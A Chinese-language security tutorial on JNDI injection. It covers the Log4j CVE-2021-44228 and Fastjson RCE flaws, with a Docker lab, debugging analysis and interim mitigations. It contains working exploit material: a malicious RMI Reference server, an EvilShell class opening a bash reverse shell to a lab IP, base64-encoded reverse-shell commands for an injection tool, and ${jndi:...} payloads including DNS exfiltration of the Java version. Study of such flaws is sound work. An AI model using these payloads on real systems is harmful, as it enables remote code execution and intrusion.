从Log4j和Fastjson RCE漏洞认识jndi注入
文章目录
- 前言
- JNDI注入
- 基础介绍
- 靶场搭建
- 漏洞验证
- 注入工具
- log4j RCE
- 漏洞分析
- 漏洞靶场
- 检测工具
- 补丁绕过
- Fastjson RCE
- 漏洞分析
- 漏洞靶场
- 检测工具
- 补丁绕过
- 总结
前言
接着前文的学习《Java反序列化漏洞与URLDNS利用链分析》,想了解为什么 Fastjson 反序列化漏洞的利用与 JNDI 注入相关?同时发现著名的 Log4j 任意代码执行漏洞也是基于 JNDI 注入,于是通过 Fastjson 反序列化漏洞(CVE-2017-18349)和 Log4j RCE(CVE-2021-44228)两个著名的 CVE 漏洞,来学习下 Java JNDI 注入的原理以及在漏洞利用中的使用。
JNDI注入
JNDI (Java Naming Directory Interface) 是 Java 提供的一个通用接口,使用它可以与各种不同的命名服务 (Naming Service) 和目录服务 (Directory Service) 进行交互,比如 RMI (Remote Method Invocation),LDAP (Lightweight Directory Access Protocol),Active Directory,DNS,CORBA等。
基础介绍
JNDI 提供统一的客户端 API,通过使用 JDNI,Java应用程序可以访问各种不同类型的命名和目录服务,如文件系统、LDAP、DNS 等。这样,Java 应用程序能够轻松地与各种不同类型的资源进行交互,而无需关心底层的细节实现。
通俗地说就是若程序定义了 JDNI 中的接口,则就可以通过该接口 API 访问系统的 命令服务 和 目录服务,如下图。
JNDI API 支持的相关协议信息如下:
协议 | 作用 |
---|---|
LDAP | 轻量级目录访问协议,约定了 Client 与 Server 之间的信息交互格式、使用的端口号、认证方式等内容 |
RMI | JAVA 远程方法协议,该协议用于远程调用应用程序编程接口,使客户机上运行的程序可以调用远程服务器上的对象 |
DNS | 域名服务 |
CORBA | 公共对象请求代理体系结构 |
【RMI 协议】
JNDI 对访问 RMI 或者 ldap 服务的代码进行了封装,我们使用 JNDI 就可以访问这些服务,不需要自己再去关注访问服务的细节。JNDI 相当于是客户端,而 RMI,LDAP 等这些是服务端。
RMI 协议在前面的文章学习过:《渗透测试-Fastjson 1.2.47 RCE漏洞复现》。 LADP 协议请参见《JNDI注入原理及利用考究》,RMI 协议相对于 LADP 协议较为简单。
Java 远程方法调用,简称 Java RMI(Java Remote Method Invocation),是 Java 编程语言里,一种用于实现远程过程调用的应用程序编程接口。它使客户机上运行的程序可以调用远程服务器上的对象。远程方法调用特性使 Java 编程人员能够在网络环境中分布操作。RMI 全部的宗旨就是尽可能简化远程接口对象的使用。
JAVA RMI简单示例
本示例是client端调用server端远程对象的加减法方法,具体步骤为:
1、定义一个远程接口
import java.rmi.Remote;
import java.rmi.RemoteException;/*** 必须继承Remote接口。* 所有参数和返回类型必须序列化(因为要网络传输)。* 任意远程对象都必须实现此接口。* 只有远程接口中指定的方法可以被调用。*/
public interface IRemoteMath extends Remote {// 所有方法必须抛出RemoteExceptionpublic double add(double a, double b) throws RemoteException;public double subtract(double a, double b) throws RemoteException;}
2、远程接口实现类
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import remote.IRemoteMath;/*** 服务器端实现远程接口。* 必须继承UnicastRemoteObject,以允许JVM创建远程的存根/代理。*/
public class RemoteMath extends UnicastRemoteObject implements IRemoteMath {private int numberOfComputations;protected RemoteMath() throws RemoteException {numberOfComputations = 0;}@Overridepublic double add(double a, double b) throws RemoteException {numberOfComputations++;System.out.println("Number of computations performed so far = " + numberOfComputations);return (a+b);}@Overridepublic double subtract(double a, double b) throws RemoteException {numberOfComputations++;System.out.println("Number of computations performed so far = " + numberOfComputations);return (a-b);}
}
3、服务器端
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import remote.IRemoteMath;/*** 创建RemoteMath类的实例并在rmiregistry中注册。*/
public class RMIServer {public static void main(String[] args) {public static String HOST = "127.0.0.1";public static int PORT = 8089;public static String RMI_PATH = "/math";public static final String RMI_NAME = "rmi://" + HOST + ":" + PORT + RMI_PATH;try {// 注册RMI端口LocateRegistry.createRegistry(PORT);// 创建一个服务IRemoteMath remoteMath = new RemoteMath(); // 服务命名绑定 Registry registry = LocateRegistry.getRegistry();registry.bind(RMI_NAME, remoteMath);System.out.println("Math server ready");} catch (Exception e) {e.printStackTrace();} }
}
上面例子中的 RMI 服务绑定是本地的类。
另外一种 RMI 服务端代码写法(下文 JNDI 实践的“漏洞验证”章节也会用到),可以采用 Naming Reference 绑定远程的类(可用于 JNDI 攻击):
public class Main {public static void main(String[] args) {try{Registry registry = LocateRegistry.createRegistry(1099);String url = "http://192.168.0.120:8081/";// Reference 需要传入三个参数 (className,factory,factoryLocation)// 第一个参数随意填写即可,第二个参数填写我们 http 服务下的类名,第三个参数填写我们的远程地址Reference reference = new Reference("evil", "EvilShell", url);ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);registry.bind("getShell", referenceWrapper);System.out.println("Hello world!");}catch (Exception e){e.printStackTrace();}}
}
其中 "http://192.168.0.120:8081/”为一个存放了恶意类 class 文件的 http 服务地址:
// javac EvilShell.java
import java.lang.Runtime;
import java.lang.Process;public class EvilShell {static {try {Runtime rt = Runtime.getRuntime();String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.0.114/6666 0>&1"};Process pc = rt.exec(commands);pc.waitFor();} catch (Exception e) {// do nothing}}
}
Java 为了将 Object 对象存储在 Naming 或 Directory 服务下,提供了 Naming Reference 功能,对象可以通过绑定 Reference 存储在 Naming 或 Directory 服务下,比如 RMI、LDAP 等。绑定 Reference 之后,服务端会先通过 Referenceable.getReference()
获取绑定对象的引用,并且在目录中保存。当客户端在 lookup() 查找这个远程对象时,客户端会获取相应的 object factory,最终通过 factory 类将 reference 转换为具体的对象实例。
在使用Reference时,我们可以直接将对象传入构造方法中,当被调用时,对象的方法就会被触发,创建 Reference 实例时几个比较关键的属性:
- className:远程加载时所使用的类名;
- classFactory:加载的 class 中需要实例化类的名称;
- classFactoryLocation:远程加载类的地址,提供 classes 数据的地址可以是 file/ftp/http 等协议;
通过 Naming Reference 功能,JNDI 客户端可以加载远程的 RMI 服务的 class 文件来进行实例化。通过 lookup 指定一个远程服务,远程服务是通过 Reference 来远程加载类文件。加载远程类的时候 static 静态代码块、无参构造函数和 getObjectInstance 方法都会被调用。
4、客户端代码
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import remote.IRemoteMath;public class MathClient {public static void main(String[] args) {try { // 如果RMI Registry就在本地机器上,URL就是:rmi://localhost:8089/math,否则就是:rmi://RMIService_IP:8089/mathRegistry registry = LocateRegistry.getRegistry("127.0.0.1", 8089); // 从Registry中检索远程对象的存根/代理IRemoteMath remoteMath = (IRemoteMath) registry.lookup("rmi://127.0.0.1:8089/math");// 调用远程对象的方法double addResult = remoteMath.add(5.0, 3.0);System.out.println("5.0 + 3.0 = " + addResult);double subResult = remoteMath.subtract(5.0, 3.0);System.out.println("5.0 - 3.0 = " + subResult); }catch(Exception e) {e.printStackTrace();} }
}
结果如下:
客户端如果直接通过 JNDI 提供的 Context 上下文直接访问上述 RMI 服务的话,则代码如下:
import java.util.Properties;import javax.naming.Context;
import javax.naming.InitialContext;public class testClient {public static void main(String[] args) throws Exception{//配置JNDI工厂和JNDI的url和端口。如果没有配置这些信息,会出现NoInitialContextException异常//Properties env = new Properties();//env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");//env.put(Context.PROVIDER_URL, "rmi://localhost:1099");// 创建初始化环境Context ctx = new InitialContext();// jndi的方式获取远程对象IRemoteMath remoteMath = (IRemoteMath) ctx.lookup("rmi://127.0.0.1:8089/math");//ctx.lookup("ldap://localhost:8088/EvilObj");// 调用远程对象的方法System.out.println(remoteMath.add(5.0, 3.0));}
}
【JNDI注入】
JNDI 注入指的是:
- 【主要】当开发者在定义 JNDI 接口初始化时,lookup() 方法的参数可控,攻击者就可以将恶意的 url 传入参数远程加载恶意载荷,造成注入攻击。
- 或者 RMI 服务的 Reference 类构造方法的参数外部可控时,会使用户的 JNDI 客户端访问 RMI 注册表中绑定的恶意 Reference 类,从而加载远程服务器上的恶意 class 文件在客户端本地执行,最终实现 JNDI 注入攻击导致远程代码执行。
JNDI 注入缺陷特征:
- 客户端的 lookup() 方法参数可控;
- 服务端在使用 Reference 时,classFactoryLocation 参数可控
上面两个都是在编写程序时可能存在的脆弱点,任意一个满足就行
JNDI 注入利用流程:
- 目标代码中调用了 InitialContext.lookup(URI),且 URI 为用户可控;
- 攻击者控制 URI 参数为恶意的 RMI 服务地址,如:rmi://hacker_rmi_server//name;
- 攻击者 RMI 服务器向目标返回一个 Reference 对象,Reference 对象中指定某个精心构造的 Factory 类;
- 目标在进行 lookup() 操作时,会动态加载并实例化 Factory 类,接着调用 factory.getObjectInstance() 获取外部远程对象实例;
- 攻击者可以在 Factory 类文件的构造方法、静态代码块、getObjectInstance() 方法等处写入恶意代码,达到 RCE 的效果;
JNDI 注入对 JAVA 版本有相应的限制,具体可利用版本如下:
协议 | JDK6 | JDK7 | JDK8 | JDK11 |
---|---|---|---|---|
LADP | 6u211以下 | 7u201以下 | 8u191以下 | 11.0.1以下 |
RMI | 6u132以下 | 7u122以下 | 8u113以下 | 无 |
高版本的 JDK 的 JNDI 注入限制也存在一些绕过手段,参见:《如何绕过高版本JDK的限制进行JNDI注入利用》。
靶场搭建
靶场环境:Hello-Java-Sec
JNDI 注入漏洞代码:https://github.com/j3ers3/Hello-Java-Sec/blob/master/src/main/java/com/best/hello/controller/JNDI/JNDIInject.java
/*** lookup 方法会将传入的参数当作 JNDI 名称,如果参数值包含恶意的 JNDI 名称,那么攻击者就可以通过这种方式来执行任意的 JNDI 操作。* lookup:通过名字检索执行的对象,当lookup()方法的参数可控时,攻击者便能提供一个恶意的url地址来加载恶意类。* payload: java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open -a Calculator" -A 127.0.0.1* PoC http://127.0.0.1:8888/JNDI/vul?content=ldap://127.0.0.1:1389/txhadi*/@ApiOperation(value = "vul:JNDI注入")@GetMapping("/vul")public String vul(String content) {log.info("[vul] JNDI注入:" + content);try {Context ctx = new InitialContext();ctx.lookup(content);} catch (Exception e) {log.warn("JNDI错误消息");}return "JNDI注入";}
【自建 Docker 容器】
Ubuntu 虚拟机中,创建 Dockerfile 文件如下:
# 基础镜像,默认低版本的java8("1.8.0_111"),下载失败就更换镜像源
FROM java
# 设定时区
ENV TZ=Asia/Shanghai
RUN ln -snf /usr/share/zoneinfo/$TZ /etc/localtime && echo $TZ > /etc/timezone
# 拷贝jar包
COPY javasec-1.11.jar /tmp/javasec1.11.jar
#开放端口
EXPOSE 8888
# 入口
ENTRYPOINT ["java", "-jar", "/tmp/javasec1.11.jar"]
在放置了 Dockerfile 文件和 javasec1.11.jar 文件的路径下执行如下命令,创建目标镜像:
test@ubuntu:~/Downloads/Hello-Java-Sec$ vim Dockerfile
test@ubuntu:~/Downloads/Hello-Java-Sec$ docker build -t docker-demo .
DEPRECATED: The legacy builder is deprecated and will be removed in a future release.Install the buildx component to build images with BuildKit:https://docs.docker.com/go/buildx/Sending build context to Docker daemon 90.23MB
Step 1/6 : FROM java
latest: Pulling from library/java
Digest: sha256:c1ff613e8ba25833d2e1940da0940c3824f03f802c449f3d1815a66b7f8c0e9d
Status: Downloaded newer image for java:latest---> d23bdf5b1b1b
Step 2/6 : ENV TZ=Asia/Shanghai---> Running in fda692eef7e5
Removing intermediate container fda692eef7e5---> a792dba8f3d2
Step 3/6 : RUN ln -snf /usr/share/zoneinfo/$TZ /etc/localtime && echo $TZ > /etc/timezone---> Running in 1739257a2432
Removing intermediate container 1739257a2432---> 931ee7d2c868
Step 4/6 : COPY javasec-1.11.jar /tmp/javasec1.11.jar---> a81924fb1a42
Step 5/6 : EXPOSE 8888---> Running in 58cc4139551d
Removing intermediate container 58cc4139551d---> b86b11ddc81e
Step 6/6 : ENTRYPOINT ["java", "-jar", "/tmp/javasec1.11.jar"]---> Running in 6997bba01f39
Removing intermediate container 6997bba01f39---> 31ddaf9657fd
Successfully built 31ddaf9657fd
Successfully tagged docker-demo:latest
test@ubuntu:~/Downloads/Hello-Java-Sec$
test@ubuntu:~/Downloads/Hello-Java-Sec$ docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
docker-demo latest 31ddaf9657fd 36 seconds ago 729MB
……
test@ubuntu:~/Downloads/Hello-Java-Sec$
运行镜像:
test@ubuntu:~/Downloads/Hello-Java-Sec$ docker run -d --name dd -p 8888:8888 docker-demo
ef4178ffc31f65ee157c17850fede12641f2383ce9c5ab5b1efe3b1c845d8bce
test@ubuntu:~/Downloads/Hello-Java-Sec$
test@ubuntu:~/Downloads/Hello-Java-Sec$ docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
ef4178ffc31f docker-demo "java -jar /tmp/java…" 6 minutes ago Up 6 minutes 0.0.0.0:8888->8888/tcp, :::8888->8888/tcp dd
test@ubuntu:~/Downloads/Hello-Java-Sec$
test@ubuntu:~/Downloads/Hello-Java-Sec$ docker exec -it ef /bin/sh
# java -version
openjdk version "1.8.0_111"
OpenJDK Runtime Environment (build 1.8.0_111-8u111-b14-2~bpo8+1-b14)
OpenJDK 64-Bit Server VM (build 25.111-b14, mixed mode)
#
# ps -ef|grep java
root 1 0 54 17:07 ? 00:00:16 java -jar /tmp/javasec1.11.jar
root 62 40 0 17:08 pts/0 00:00:00 grep java
#
然而发现访问宿主机 8888 端口即可,如果遇到访问失败,请重启虚拟机容器服务(systemctl restart docker)或网络即可(踩坑经历)……
【More】
可对比下 Hello-Java-Sec 靶场 Docker 部署,官方指导部署步骤:
mvn clean package
./deploy.sh
// deploy.sh的内容:docker build -t javasec . && docker run -d -p 80:8888 -v logs:/logs javasec
存在的问题:
解决方法是将项目的 Dockerfile 文件中的 javasec-1.7.jar 修改为 javasec-1.11.jar:
成功启动 Hello-Java-Sec 靶场容器(此时拉取的镜像也是低版本的 java8(“1.8.0_111”),方便漏洞利用和复现):
test@ubuntu:~/Downloads/Hello-Java-Sec/Hello-Java-Sec-master$ ./deploy.sh
DEPRECATED: The legacy builder is deprecated and will be removed in a future release.Install the buildx component to build images with BuildKit:https://docs.docker.com/go/buildx/Sending build context to Docker daemon 93.4MB
Step 1/6 : FROM java:8---> d23bdf5b1b1b
Step 2/6 : VOLUME /tmp---> Using cache---> f53f1fc48ac4
Step 3/6 : ADD ./target/javasec-1.11.jar app.jar---> 827b8c11311e
Step 4/6 : EXPOSE 8888---> Running in ca97d4e12a88
Removing intermediate container ca97d4e12a88---> 203f8633a5ff
Step 5/6 : RUN sh -c 'touch /app.jar'---> Running in 571fa29af378
Removing intermediate container 571fa29af378---> 69545e85bfec
Step 6/6 : ENTRYPOINT ["java","-Djava.security.egd=file:/dev/./urandom","-jar","/app.jar"]---> Running in e87ac41a90f6
Removing intermediate container e87ac41a90f6---> 605e05da2589
Successfully built 605e05da2589
Successfully tagged javasec:latest
65aba6a67d1d7984418846ac87ce74e122f361970e9f6a2595cbe4c22b425158
test@ubuntu:~/Downloads/Hello-Java-Sec/Hello-Java-Sec-master$
test@ubuntu:~/Downloads/Hello-Java-Sec/Hello-Java-Sec-master$ docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
65aba6a67d1d javasec "java -Djava.securit…" 44 seconds ago Up 43 seconds 0.0.0.0:80->8888/tcp, :::80->8888/tcp zen_borg
test@ubuntu:~/Downloads/Hello-Java-Sec/Hello-Java-Sec-master$ netstat -ntpl
(Not all processes could be identified, non-owned process infowill not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:41589 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 ::1:631 :::* LISTEN -
test@ubuntu:~/Downloads/Hello-Java-Sec/Hello-Java-Sec-master$
访问宿主机的 80 端口接口即可:
漏洞验证
Hello-Java-Sec 中的 JNDI 注入请求如下(使用自建的 Docker 容器环境),需要我们自行构造一个 RMI 服务进行注入来实现 RCE:
Ubuntu 虚拟机(192.168.0.120)通过 IDEA 创建一个 RMI 服务(附:Ladp 服务的搭建可以参见 Hello-Java-Sec 提供的示例代码:JNDILdapServer.java):
package org.example;import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;public class Main {public static void main(String[] args) {try{Registry registry = LocateRegistry.createRegistry(1099);String url = "http://192.168.0.120:8081/";// Reference 需要传入三个参数 (className,factory,factoryLocation)// 第一个参数随意填写即可,第二个参数填写我们 http 服务下的类名,第三个参数填写我们的远程地址Reference reference = new Reference("evil", "EvilShell", url);ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);registry.bind("getShell", referenceWrapper);System.out.println("Hello world!");}catch (Exception e){e.printStackTrace();}}
}
同时创建一个恶意 Java 类,用于“远程”加载后执行恶意代码:
// javac EvilShell.java
import java.lang.Runtime;
import java.lang.Process;public class EvilShell {static {try {Runtime rt = Runtime.getRuntime();String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.0.114/6666 0>&1"};Process pc = rt.exec(commands);pc.waitFor();} catch (Exception e) {// do nothing}}
}
执行 javac EvilShell.java 命令生成 EvilShell.class 文件,然后通过 Python 搭建一个 Http Server,方便 RMI 服务远程加载:
在 Kali 攻击机(192.168.0.114)监听 6666 端口:
IDEA 启动 RMI 服务,然后 Burp 发送 HTTP 报文,执行 JNDI 注入攻击:
成功加载远程恶意类,并反弹 shell:
【思考】此处如果将 Hello-Java-Sec 的 jar 包直接通过高版本的 JDK8 启动,JNDI 注入的结果会如何?
直接试一下:
注入失败:
注入工具
JNDI 注入攻击开源辅助工具:https://github.com/welk1n/JNDI-Injection-Exploit。
先对 Payload 进行 base64 编码:
bash -i >& /dev/tcp/192.168.190.128/6666 0>&1
// base64 编码
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5MC4xMjgvNjY2NiAwPiYx
然后一键自动搭建 RMI、LADP 服务(注意已亲测不可在高于 Java8 的环境下运行 JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar,会导致最终注入利用失败):
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5MC4xMjgvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}" -A "XXX.XXX.XXX.227"
-C 指定需要执行的具体命令,-A 指定部署 RMI/LDAP 的服务器地址,成功搭建服务并访问:
成功反弹 Shell 到 Kali 攻击机:
显然,这个一键搭建 RMI、LADP 服务的工具,要比《渗透测试-Fastjson 1.2.47 RCE漏洞复现》曾用到的 marshalsec.jar 工具包方便许多,JNDI 注入漏洞可首选此辅助工具。
log4j RCE
2021 年 11 月 24 日,阿里云安全团队向 Apache 官方报告了 Apache Log4j2 远程代码执行漏洞(CVE-2021-44228)。Apache Log4j2 是一款优秀的 Java 日志框架,由于 Apache Log4j2 某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink 等均受影响,堪称“史诗级核弹漏洞”。
漏洞信息 | |
---|---|
漏洞名称 | Apache log4j 远程代码执行漏洞 |
漏洞编码 | CVE-2021-44228 |
漏洞危害 | 严重 |
漏洞时间 | 2021/12/10 |
受影响版本 | Log4j 2.x <= 2.14.1 <= Log4j 2.15.0-rc1 |
利用难度 | 低 |
POC | 已知 |
EXP | 已知 |
漏洞分析
Ubuntu 虚拟机 IDEA 创建一个 Maven 项目,体验下 Log4j 组件的简单使用:
<dependencies><!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core --><dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-core</artifactId><version>2.14.1</version></dependency><!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api --><dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-api</artifactId><version>2.14.1</version></dependency>
</dependencies>
IDEA 安全告警提示存在组件漏洞:
本次漏洞是因为 Log4j2 组件中 lookup 功能的实现类 JndiLookup 的设计缺陷导致,这个类存在于 log4j-core.jar 中。
log4j 的 Lookups 功能 可以快速打印包括运行应用容器的 docker 属性、环境变量、日志事件、Java 应用程序环境信息等内容。比如打印操作系统版本和 Java 运行时版本信息:
private static final Logger logger = (Logger) LogManager.getLogger();public static void main(String[] args) {logger.error("Get: {}", "${java:os}");logger.error("${java:runtime}");
}
输出结果如下所示,使用 JavaLookup (需要使用 java 前缀)获取到了相关信息:
而这个史诗级漏洞的触发正是只需要如下简简单单一行 JNDI 注入的 Payload:
logger.info("${jndi:rmi://127.0.0.1:1099/calc}");
动态调试分析时,核心可以把目标放在 org.apache.logging.log4j.core.pattern.MessagePatternConverter#format
:
public void format(final LogEvent event, final StringBuilder toAppendTo) {Message msg = event.getMessage();if (msg instanceof StringBuilderFormattable) {boolean doRender = this.textRenderer != null;StringBuilder workingBuilder = doRender ? new StringBuilder(80) : toAppendTo;int offset = workingBuilder.length();if (msg instanceof MultiFormatStringBuilderFormattable) {((MultiFormatStringBuilderFormattable)msg).formatTo(this.formats, workingBuilder);} else {((StringBuilderFormattable)msg).formatTo(workingBuilder);}if (this.config != null && !this.noLookups) {for(int i = offset; i < workingBuilder.length() - 1; ++i) {if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') {String value = workingBuilder.substring(offset, workingBuilder.length());workingBuilder.setLength(offset);workingBuilder.append(this.config.getStrSubstitutor().replace(event, value));}}}...} else {...}}
我们传入的 message 会通过 MessagePatternConverter.format(),判断如果 config 存在并且 noLookups 为 false(默认为false),然后匹配到 ${
则通过 getStrSubstitutor() 替换原有的字符串,比如这里的 ${java:runtime}
。因为没有任何白名单检测,那么攻击者可以构造任何的字符串,只有符合 ${
就可以。
继续往下走,来到 org.apache.logging.log4j.core.lookup.Interpolator#lookup
:
可以看到处理 event 的时候根据前缀选择对应的 StrLookup 进行处理,目前支持 date,jndi,java,main 等多种类型,如果构造的 event 是 jndi,则通过 JndiLoopup 进行处理,从而造成 JNDI 注入漏洞。
可进一步跟进:org.apache.logging.log4j.core.lookup.JndiLookup#lookup
,可以看到 JNDI 注入的 sink 点:
漏洞靶场
https://github.com/j3ers3/Hello-Java-Sec/blob/master/src/main/java/com/best/hello/controller/ComponentsVul/Log4jVul.java
@Api("Log4j2 反序列化漏洞")
@RestController
@RequestMapping("/Log4j")
public class Log4jVul {private static final Logger logger = LogManager.getLogger(Log4jVul.class);/*** 原理:一旦在log字符串中检测到${},就会解析其中的字符串尝试使用lookup查询,因此只要能控制log参数内容,就有机会实现漏洞利用。* 反弹shell: java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,str_base64}|{base64,-d}|{bash,-i}" -A IP** content=${jndi:rmi://rmi.44qbby.dnslog.cn/a}*/@PostMapping(value = "/vul")public String vul(@RequestParam("q") String q) {System.out.println(q);logger.error(q);return "Log4j2 JNDI Injection";}
}
同样对 Payload 进行 Base64 编码:
bash -i >& /dev/tcp/192.168.190.128/6666 0>&1
// base64 编码
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5MC4xMjgvNjY2NiAwPiYx
接着一键搭建 RMI 与 ldap 服务,远程调用成功:
成功反弹 Shell:
【DNSLog 检测】
建议使用 https://dnslog.org/,亲测 http://www.dnslog.cn/ 检测不出来。
${jndi:ldap://${sys:java.version}.XXXX.log.dnslog.biz}
或者
${jndi:dns://${sys:java.version}.xxxx.log.dnslog.biz}
成功访问 DNS 服务器并获得目标服务器 java 版本信息:
【More】Payload 中使用 dns 协议也是 ok 的,JNDI 支持 DNS 协议:
检测工具
发现 Github 上几个开源的主流 Log4j 漏洞检测工具,实践并不是太好用,检测不出上述漏洞…Xray 社区版也是。
- https://github.com/whwlsfb/Log4j2Scan;
- https://github.com/fullhunt/log4j-scan;
可能靶场环境的问题??
建立新的 Log4j 靶场(vulhub/log4j/CVE-2021-44228)进行对比验证,使用 BurpSuite 多漏洞集成探测插件:Tsojan/TsojanScan。
补丁绕过
2021 年年底此漏洞爆发那几天,引得无数厂商的安全运营人员通宵达旦处置,因为受影响的资产范围之大、漏洞利用难度之低、漏洞危害之大,无不让企业瑟瑟发抖。同时各路白帽子开始疯狂批量探测漏洞提交 SRC,最后逼得国内诸多 SRC 不得不暂停接收此漏洞哈哈。
【临时处置】
言归正传,当时的部分临时处置方案如下:
- 添加 jvm 启动参数 -Dlog4j2.formatMsgNoLookups=true;
- 修改配置文件 log4j2.formatMsgNoLookups=True;
- 修改环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS,设置为 true;
- 禁用 lookup 或 JNDI 服务(可将 jdk 升级到最新的版本);
- 恶意流量中可能存在 jndi:ladp://、jdni:rmi,给安全设备 IDS 和 WAF 编写相应规则从流量中拦截攻击流量;
【安全补丁】
在阿里云安全团队披露此漏洞大概两周后,Apache 官方紧急发布了安全更新版本 log4j-2.15.0-rc1,此版本默认关闭了 lookup 功能并增加了白名单校验,但是研究人员又发现在用户错误开启 lookup 时可以绕过白名单校验。
JndiManager.lookup
方法中对 JNDI 协议、主机名、类名进行了白名单校验:
但是在 lookup 方法中,异常处理的 catch 中并没有 return,所以这就造成造成异常后可以继续向下运行 this.context.lookup 触发漏洞。
【More】漏洞详细的调试分析步骤和官方最初安全补丁的绕过可以参见:《Apache Log4j2 漏洞分析 | Gta1ta’s Blog》,以及《Apache Log4j2 Jndi RCE 高危漏洞分析与防御》。
Fastjson RCE
前文《渗透测试-Fastjson 1.2.47 RCE漏洞复现》简单介绍过 Fastjson 1.2.47 版本(注意 Fastjson 最开始出现 RCE 漏洞的版本为 2017 年披露的 1.2.24,即CVE-2017-18349) 的漏洞简介和复现步骤,下面来进一步看看漏洞原理和漏洞利用方法。
漏洞分析
Fastjson 是阿里巴巴开源的 JSON 解析库(项目地址:https://github.com/alibaba/fastjson),它可以解析 JSON 格式的字符串,支持将 Java Object 序列化为 JSON 字符串(常用于 Java 后端解析前端传递过来的 JSON 格式字符串),也可以从 JSON 字符串反序列化到 Java Object。
Fastjson 提供了两个主要接口来分别实现对于 Java Object 的序列化和反序列化操作。
JSON.toJSONString
JSON.parseObject 或者 JSON.parse
来看看具体如何使用,先给自己的 Maven 项目添加依赖:
<dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.47</version>
</dependency>
对于 Fastjson 来讲,并不是所有的 Java 对象都能被转为 JSON,只有 Java Bean 格式的对象才能通过 Fastjson 转为 JSON,先创建一个 JavaBean:
package com.tr0e.sec.Entity;import lombok.AllArgsConstructor;
import lombok.Data;
import lombok.NoArgsConstructor;@Data
@AllArgsConstructor
@NoArgsConstructor
public class Person {private String name;private int age;
}
接着看下 Fastjson 的序列化和反序列化的示例代码:
//创建一个Java Bean对象Person person = new Person();person.setName("Tr0e");person.setAge(18);System.out.println("--------------序列化-------------");//将其序列化为JSONString JSON_Serialize = JSON.toJSONString(person);System.out.println(JSON_Serialize);System.out.println("-------------反序列化-------------");//使用parse方法,将JSON反序列化为一个JSONObjectObject o1 = JSON.parse(JSON_Serialize);System.out.println(o1.getClass().getName());System.out.println(o1);System.out.println("-------------反序列化-------------");//使用parseObject方法,将JSON反序列化为一个JSONObjectObject o2 = JSON.parseObject(JSON_Serialize);System.out.println(o2.getClass().getName());System.out.println(o2);System.out.println("-------------反序列化-------------");//使用parseObject方法,并指定类,将JSON反序列化为一个指定的类对象Object o3 = JSON.parseObject(JSON_Serialize,Person.class);System.out.println(o3.getClass().getName());System.out.println(o3);
输出结果如下所示:
--------------序列化-------------
{"age":18,"name":"Tr0e"}
-------------反序列化-------------
com.alibaba.fastjson.JSONObject
{"name":"Tr0e","age":18}
-------------反序列化-------------
com.alibaba.fastjson.JSONObject
{"name":"Tr0e","age":18}
-------------反序列化-------------
com.tr0e.sec.Entity.Person
Person(name=Tr0e, age=18)
可以看到,如果我们反序列化时不指定特定的类,那么 Fastjosn 就默认将一个 JSON 字符串反序列化为一个 JSONObject。
【AutoType 特性】
阿里巴巴官方文档 解释 AutoType:Fastjson 支持 AutoType 功能,这个功能会在序列化的 JSON 字符串中带上类型信息,在反序列化时,不需要传入类型,实现自动类型识别。
注意到上面使用 parseObject 方法进行反序列化时,通过指定类,可以将 JSON 反序列化为一个指定的类对象。而 Fastjson 还提供了另外一种方式(即 AutoType):可以在 toJSONString() 方法中添加额外的属性SerializerFeature.WriteClassName
,将对象类型一并序列化,此时序列化后的 JSON 字符串会自动携带@type
字段,记录具体的类名,随后进行反序列化的过程便能自动此类 JSON 字符串转换为一个具体的类对象。
public static void main(String[] args) {Person person = new Person();person.setName("Tr0e");person.setAge(18);System.out.println("--------------序列化-------------");String typeJson = JSON.toJSONString(person, SerializerFeature.WriteClassName);System.out.println(typeJson);System.out.println("-------------反序列化-------------");String JSON_Serialize = "{\"@type\":\"com.tr0e.sec.Entity.Person\",\"age\":18,\"name\":\"Tr0e\"}";ParserConfig.getGlobalInstance().addAccept("com.tr0e.sec.Entity");Object man = JSON.parse(JSON_Serialize);System.out.println(man.getClass().getName());System.out.println(man);}
